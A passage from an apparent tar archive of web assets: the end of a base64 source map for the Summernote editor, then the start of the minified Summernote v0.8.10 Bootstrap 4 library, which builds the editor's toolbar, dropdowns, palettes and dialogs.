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"}summernote-bs4.min.js000064400000347535151677331550010606 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(require("jquery")):"function"==typeof define&&define.amd?define(["jquery"],e):e(t.jQuery)}(this,function(t){"use strict";t=t&&t.hasOwnProperty("default")?t.default:t;var e=function(){function e(t,e,o,n){this.markup=t,this.children=e,this.options=o,this.callback=n}return e.prototype.render=function(e){var o=t(this.markup);if(this.options&&this.options.contents&&o.html(this.options.contents),this.options&&this.options.className&&o.addClass(this.options.className),this.options&&this.options.data&&t.each(this.options.data,function(t,e){o.attr("data-"+t,e)}),this.options&&this.options.click&&o.on("click",this.options.click),this.children){var n=o.find(".note-children-container");this.children.forEach(function(t){t.render(n.length?n:o)})}return this.callback&&this.callback(o,this.options),this.options&&this.options.callback&&this.options.callback(o),e&&e.append(o),o},e}(),o=function(o,n){return function(){var i="object"==typeof arguments[1]?arguments[1]:arguments[0],r=t.isArray(arguments[0])?arguments[0]:[];return i&&i.children&&(r=i.children),new e(o,r,i,n)}},n=o('<div class="note-editor note-frame card"/>'),i=o('<div class="note-toolbar-wrapper"><div class="note-toolbar card-header" role="toolbar"></div></div>'),r=o('<div class="note-editing-area"/>'),s=o('<textarea class="note-codable" role="textbox" aria-multiline="true"/>'),a=o('<div class="note-editable card-block" contentEditable="true" role="textbox" aria-multiline="true"/>'),l=o(['<output class="note-status-output" aria-live="polite"/>','<div class="note-statusbar" role="status">','  <output class="note-status-output" aria-live="polite"></output>','  <div class="note-resizebar" role="seperator" aria-orientation="horizontal" aria-label="Resize">','    <div class="note-icon-bar"/>','    <div class="note-icon-bar"/>','    <div class="note-icon-bar"/>',"  </div>","</div>"].join("")),c=o('<div class="note-editor"/>'),d=o(['<output class="note-status-output" aria-live="polite"/>','<div class="note-editable" contentEditable="true" role="textbox" aria-multiline="true"/>'].join("")),u=o('<div class="note-btn-group btn-group">'),h=o('<div class="dropdown-menu" role="list">',function(e,o){var n=t.isArray(o.items)?o.items.map(function(t){var e="string"==typeof t?t:t.value||"",n=o.template?o.template(t):t,i="object"==typeof t?t.option:void 0;return'<a class="dropdown-item" href="#" '+('data-value="'+e+'"'+(void 0!==i?' data-option="'+i+'"':""))+' role="listitem" aria-label="'+t+'">'+n+"</a>"}).join(""):o.items;e.html(n).attr({"aria-label":o.title})}),p=o('<div class="dropdown-menu note-check" role="list">',function(e,o){var n=t.isArray(o.items)?o.items.map(function(t){var e="string"==typeof t?t:t.value||"",n=o.template?o.template(t):t;return'<a class="dropdown-item" href="#" data-value="'+e+'" role="listitem" aria-label="'+t+'">'+b(o.checkClassName)+" "+n+"</a>"}).join(""):o.items;e.html(n).attr({"aria-label":o.title})}),f=o('<div class="note-color-palette"/>',function(t,e){for(var o=[],n=0,i=e.colors.length;n<i;n++){for(var r=e.eventName,s=e.colors[n],a=e.colorsName[n],l=[],c=0,d=s.length;c<d;c++){var u=s[c],h=a[c];l.push(['<button type="button" class="note-color-btn"','style="background-color:',u,'" ','data-event="',r,'" ','data-value="',u,'" ','title="',h,'" ','aria-label="',h,'" ','data-toggle="button" tabindex="-1"></button>'].join(""))}o.push('<div class="note-color-row">'+l.join("")+"</div>")}t.html(o.join("")),e.tooltip&&t.find(".note-color-btn").tooltip({container:e.container,trigger:"hover",placement:"bottom"})}),m=o('<div class="modal" aria-hidden="false" tabindex="-1" role="dialog"/>',function(t,e){e.fade&&t.addClass("fade"),t.attr({"aria-label":e.title}),t.html(['<div class="modal-dialog">','  <div class="modal-content">',e.title?'    <div class="modal-header">      <h4 class="modal-title">'+e.title+'</h4>      <button type="button" class="close" data-dismiss="modal" aria-label="Close" aria-hidden="true">&times;</button>    </div>':"",'    <div class="modal-body">'+e.body+"</div>",e.footer?'    <div class="modal-footer">'+e.footer+"</div>":"","  </div>","</div>"].join(""))}),g=o(['<div class="note-popover popover in">','  <div class="arrow"/>','  <div class="popover-content note-children-container"/>',"</div>"].join(""),function(t,e){var o=void 0!==e.direction?e.direction:"bottom";t.addClass(o),e.hideArrow&&t.find(".arrow").hide()}),v=o('<label class="custom-control custom-checkbox"></label>',function(t,e){e.id&&t.attr("for",e.id),t.html([' <input role="checkbox" type="checkbox" class="custom-control-input"'+(e.id?' id="'+e.id+'"':""),e.checked?" checked":"",' aria-checked="'+(e.checked?"true":"false")+'"/>',' <span class="custom-control-indicator"></span>',' <span class="custom-control-description">'+(e.text?e.text:"")+"</span>","</label>"].join(""))}),b=function(t,e){return"<"+(e=e||"i")+' class="'+t+'"/>'},y={editor:n,toolbar:i,editingArea:r,codable:s,editable:a,statusbar:l,airEditor:c,airEditable:d,buttonGroup:u,dropdown:h,dropdownButtonContents:function(t){return t},dropdownCheck:p,palette:f,dialog:m,popover:g,icon:b,checkbox:v,options:{},button:function(t,e){return o('<button type="button" class="note-btn btn btn-light btn-sm" role="button" tabindex="-1">',function(t,e){e&&e.tooltip&&t.attr({title:e.tooltip,"aria-label":e.tooltip}).tooltip({container:e.container,trigger:"hover",placement:"bottom"})})(t,e)},toggleBtn:function(t,e){t.toggleClass("disabled",!e),t.attr("disabled",!e)},toggleBtnActive:function(t,e){t.toggleClass("active",e)},onDialogShown:function(t,e){t.one("shown.bs.modal",e)},onDialogHidden:function(t,e){t.one("hidden.bs.modal",e)},showDialog:function(t){t.modal("show")},hideDialog:function(t){t.modal("hide")},createLayout:function(t,e){var o=(e.airMode?y.airEditor([y.editingArea([y.airEditable()])]):y.editor([y.toolbar(),y.editingArea([y.codable(),y.editable()]),y.statusbar()])).render();return o.insertAfter(t),{note:t,editor:o,toolbar:o.find(".note-toolbar"),editingArea:o.find(".note-editing-area"),editable:o.find(".note-editable"),codable:o.find(".note-codable"),statusbar:o.find(".note-statusbar")}},removeLayout:function(t,e){t.html(e.editable.html()),e.editor.remove(),t.show()}};var k=0;var C={eq:function(t){return function(e){return t===e}},eq2:function(t,e){return t===e},peq2:function(t){return function(e,o){return e[t]===o[t]}},ok:function(){return!0},fail:function(){return!1},self:function(t){return t},not:function(t){return function(){return!t.apply(t,arguments)}},and:function(t,e){return function(o){return t(o)&&e(o)}},invoke:function(t,e){return function(){return t[e].apply(t,arguments)}},uniqueId:function(t){var e=++k+"";return t?t+e:e},rect2bnd:function(t){var e=$(document);return{top:t.top+e.scrollTop(),left:t.left+e.scrollLeft(),width:t.right-t.left,height:t.bottom-t.top}},invertObject:function(t){var e={};for(var o in t)t.hasOwnProperty(o)&&(e[t[o]]=o);return e},namespaceToCamel:function(t,e){return(e=e||"")+t.split(".").map(function(t){return t.substring(0,1).toUpperCase()+t.substring(1)}).join("")},debounce:function(t,e,o){var n,i=this;return function(){var r=i,s=arguments,a=o&&!n;clearTimeout(n),n=setTimeout(function(){n=null,o||t.apply(r,s)},e),a&&t.apply(r,s)}}};function w(t){return t[0]}function x(t){return t[t.length-1]}function S(t){return t.slice(1)}function T(e,o){return t.inArray(o,e)}function I(t,e){return-1!==T(t,e)}var N={head:w,last:x,initial:function(t){return t.slice(0,t.length-1)},tail:S,prev:function(t,e){var o=T(t,e);return-1===o?null:t[o-1]},next:function(t,e){var o=T(t,e);return-1===o?null:t[o+1]},find:function(t,e){for(var o=0,n=t.length;o<n;o++){var 